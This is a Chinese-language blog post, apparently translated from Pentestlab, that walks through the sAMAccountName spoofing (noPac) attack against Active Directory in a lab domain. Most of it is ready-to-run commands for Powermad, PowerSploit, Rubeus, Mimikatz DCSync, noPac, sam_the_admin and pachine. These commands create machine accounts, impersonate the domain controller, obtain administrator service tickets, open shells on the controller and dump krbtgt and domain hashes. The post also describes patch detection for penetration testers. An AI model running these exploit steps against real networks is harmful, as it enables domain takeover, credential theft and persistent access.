Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86390510

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

與標準用戶帳戶相比,機器帳戶會在名稱末尾附加$符號。在默認情況下,Microsoft操作系統缺乏安全控制和加固措施,難以防禦某些攻擊。此外,多年來的事實證明,Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。

舉例來說,active directory中的每個帳戶都會在“SamAccountName”屬性中提供名稱。但是,它卻沒有提供防止被濫用的措施,因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後,可以用來冒充域上的其他帳戶,如域控制器的機器帳戶。 Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。

在申請服務票證之前,需要先簽發票證授予票證(TGT)。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟踪搜索,並在該帳戶上附加$符號。結合這種行為和對“SamAccountName”屬性缺乏控制的事實,滲透測試人員可以利用這一點進行域升級。具體地說,可以請求域控制器帳戶的票證授予票證,並且在任何服務票證請求之前恢復“SamAccountName”屬性值將強制KDC搜索域控制器的機器帳戶,並代表域管理員發出提權的服務票證。

要想利用該漏洞進行域升級,用戶必須具有機器帳戶的權限,只有這樣才能修改“SamAccountName”和“ServicePrincipalName”屬性。一般來說,可以創建機器帳戶的用戶,都擁有修改這些屬性所需的特權。在默認情況下,域用戶的機器帳戶配額設置為10,這表示允許用戶在域上創建機器帳戶數量。或者,攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用“SamAccountName”執行域升級包括以下步驟:

創建一個機器賬戶

清除“servicePrincipalName”屬性

修改機器賬戶的“sAMAccountName”屬性,以指向沒有$符號的域控制器名稱

為域控制器賬戶申請一個TGT

將“sAMAccountName”屬性恢復為原始值或任何其他值

使用S4U2self方法請求一個服務票據

冒充域管理員賬戶接收服務票據

下圖演示了“sAMAccountName”冒充技術的具體步驟。

1.png

sAMAccountName欺騙

檢測漏洞微軟已經發布了補丁,以防止攻擊者成功利用該漏洞。然而,在很多情況下,補丁並沒有及時應用,這就創造了一個時間窗口,使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示:

1、沒有安裝KB5008380和KB5008602安全補丁的域控制器

2、有效的域用戶帳戶

3、機器帳戶配額大於0

由於這個過程需要訪問內部網絡,因此,假定攻擊者已經獲得了低權限的帳戶。如上所述,機器帳戶配額默認為10,因此唯一的要求是識別系統是否應用了補丁。這並非難事,可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小(與使用PAC發出的票證相比要更小)來實現。 Rubeus可以與/nopac開關一起使用,以請求已知憑據的域帳戶的TGT。

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1.png

通過Rubeus檢測sAMAccountName欺騙漏洞

從票據大小來看,可以認為域控制器是易受攻擊的,因為票證沒有隨PAC一起發出。

1.png

沒有PAC時Rubeus票據的大小

另外,C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的,因為它使用庫“Rubeus.lib.Interop.LUID”來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1.png

noPac掃描器

如果通過PowerShell控制台進行操作的話,可以藉助於Shitsecure開發的一個PowerShell腳本“Invoke-noPac”——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac,所以可以使用同樣的參數來檢索票證。

Import-Module .\Invoke-noPAC.ps1

Invoke-noPAC -command 'scan -domain purple.lab -user pentestlab -pass Password1234'

1.png

掃描PowerShell

手動方式實際上,現在已經有各種各樣的工具和腳本,可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是,在深入研究自動化之前,了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生,因為在基於資源的受限委託期間也可以使用它。 Kevin Robertson開發了一個名為Powermad的PowerShell模塊,該模塊提供了在域上創建機器帳戶的功能。

New-MachineAccount -MachineAccount 'PentestLab' -Domain 'purple.lab' -DomainController 'dc.purple.lab'

1.png

創建機器賬戶

使用PowerSploit的“Set-DomainObject”從已創建的機器帳戶中刪除服務主體名稱值非常方便:

Set-DomainObject 'CN=PentestLab,CN=Computers,DC=purple,DC=lab' -Clear 'serviceprincipalname'

1.png

清除SPN

通過Powermad和“SetMachineAccountAttribute”函數,也可以修改'SamAccountName'屬性值以使其指向域控制器主機名:

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'dc' -Attribute 'samaccountname'

1.png

重命名sAMAccountName

查看活動目錄中的屬性,可以看到新機器帳戶的值現在指向“dc”,因此這個帳戶能夠冒充域控制器。

1.png

sAMAccountName欺騙

我們可以通過查詢域控制器來驗證屬性“sAMAccountName”是否已被修改。此外,PowerSploit中的“GetDomainComputer”函數可以用來枚舉域上機器帳戶的屬性。

Get-DomainComputer 'CN=Pentestlab,CN=Computers,DC=purple,DC=lab' -Domain purple.lab -Server dc.purple.lab | select samaccountname

1.png

檢索sAMAccountName

當涉及到Kerberos的操作時,Rubeus是一個標準工具。由於sam賬戶的名稱已經修改,所以,它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。

.\Rubeus.exe asktgt /user:'dc' /password:'Password123' /domain:'purple.lab' /dc:'dc.purple.lab' /nowrap

1.png

檢索TGT

下面,我們需要把sam帳戶名屬性恢復到其原始值或任何其他值,否則無法發出服務票證。

Set-MachineAccountAttribute -MachineAccount 'PentestLab' -Value 'PentestLab$' -Attribute samaccountname

1.png

恢復sAMAccountName

由於TGT已經存儲在內存中,所以,現在可以使用kerberos擴展's4u2self'以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶,而sam帳戶名已重命名,即該用戶已經不存在,所以,Kerberos將查找dc$,這是一個有效的機器帳戶,並為請求的服務發出票證。

./Rubeus.exe s4u /self /impersonateuser:'Administrator' /altservice:'cifs/dc.purple.lab' /dc:'dc.purple.lab' /ptt /ticket:[Base64 TGT]

1.png

請求服務票證

我們可以在現有會話中執行Mimikatz,以便通過DCSync技術轉儲“krbtgt”帳戶的哈希值,從而創建黃金票證。

lsadump:dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1.png

DCSync

自動化方式基於sAMAccountName欺騙的滲透測試,也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此,我們可以執行下面的命令,創建一個具有指定密碼的機器帳戶,並將獲得“CIFS”服務的服務票證,該服務票證將被傳遞到內存中。

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1.png

noPac

以下命令可用於驗證域升級的情況,因為標準用戶可以枚舉域控制器上C$文件夾的內容。

dir \\dc.purple.lab\c$

1.png

驗證域升級

類似地,如果初始implant是基於PowerShell的,則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣,它實際上是noPac C#工具的包裝器。

Invoke-noPac -command '-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt'

1.png

noPac PowerShell

訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。

dir \\dc.purple.lab\c$

1.png

驗證服務票證是否已經升級

擴展到非域機器該技術的相同原理,也可以應用到未連接到域的系統上。 Hossam Hamed發布了一個名為“sam the admin”的python腳本,它模擬了這種攻擊。最初,該腳本將嘗試列舉“ms-DS-MachineAccountQuota”屬性,以確定是否可以在域中添加新的機器。然後,將用隨機密碼創建一個機器賬戶。新機器賬戶的“sAMAccountName”屬性將被修改為包含域控制器機器賬戶的值。然後,請求一個升級的票證並保存到緩存中。最後,“sAMAccountName”屬性的原始值將被恢復,並使用Impacket套件中的“smbexec”建立到域控制器的會話,並使用緩存的票證。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -shell

1.png

sam the admin shell

該腳本包含一個標誌,可用於在後台利用“secretsdump”來轉儲域哈希值。

python3 sam_the_admin.py 'purple/pentestlab:Password1234' -dc-ip 10.0.0.1 -dump

1.png

sam the admin dump

這些哈希值可用於脫機破解,以便識別正在使用的弱密碼,並確定客戶端的密碼策略是否足夠強、是否符合行業標准或是否需要進一步評估。此外,由於“krbtgt”帳戶的哈希值是可見的,可以為域持久化創建一個黃金票證。

1.png

轉儲域哈希值

Oliver Lyak發布了一個類似的python腳本,它既可以用於掃描域控制器以識別易受攻擊的主機,又可用於檢索授予服務票證的票證。

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

1.png

Pachine掃描器

對易受攻擊的域控制器執行以下命令,就可以創建一個具有隨機密碼的機器帳戶,以獲取票證授予票證。然後,重命名機器帳戶名稱,並使用S4U2self檢索服務票證,並將其保存在本地,以供屬於“域管理員”組的管理員用戶使用。

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

1.png

利用Pachine獲取票證

可以使用“export krb5ccname”和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的,因此,Impacket“psexec”可以與Kerberos身份驗證一起使用,以便訪問域控制器。

export KRB5CCNAME=administrator@purple.lab.ccache

impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

1.png

PsExec

通過一個基於python腳本“sam the admin”的工具來實現該技術也是可行的,這個腳本名為noPac。這個掃描器腳本將枚舉“ms-DS-MachineAccountQuota”屬性,並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中,以便快速識別易受攻擊的目標。在下面的示例中,與主機10.0.0.1相比,在沒有PAC的情況下接收的兩個票證相對較小,所以,主機10.0.0.1發出的是一個帶有PAC的票證。

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

noPac掃描器

這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊,直到檢索到一個升級的票證為止。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1.png

sAMAccountName Spoofing – 通過noPac 檢索服務票證

1.png

sAMAccountName Spoofing – noPac

只要附加“-shell”和“-impersonate”標誌,便可以在域控制器上建立會話。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

1.png

冒充Administrator

類似地,“-dump”標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限,因此,可以獲取“krbtgt”帳戶的哈希值,以便建立域的持久性訪問。

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

1.png

轉儲krbtgt的哈希值

演示視頻可以從這裡查看。

參考資料https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac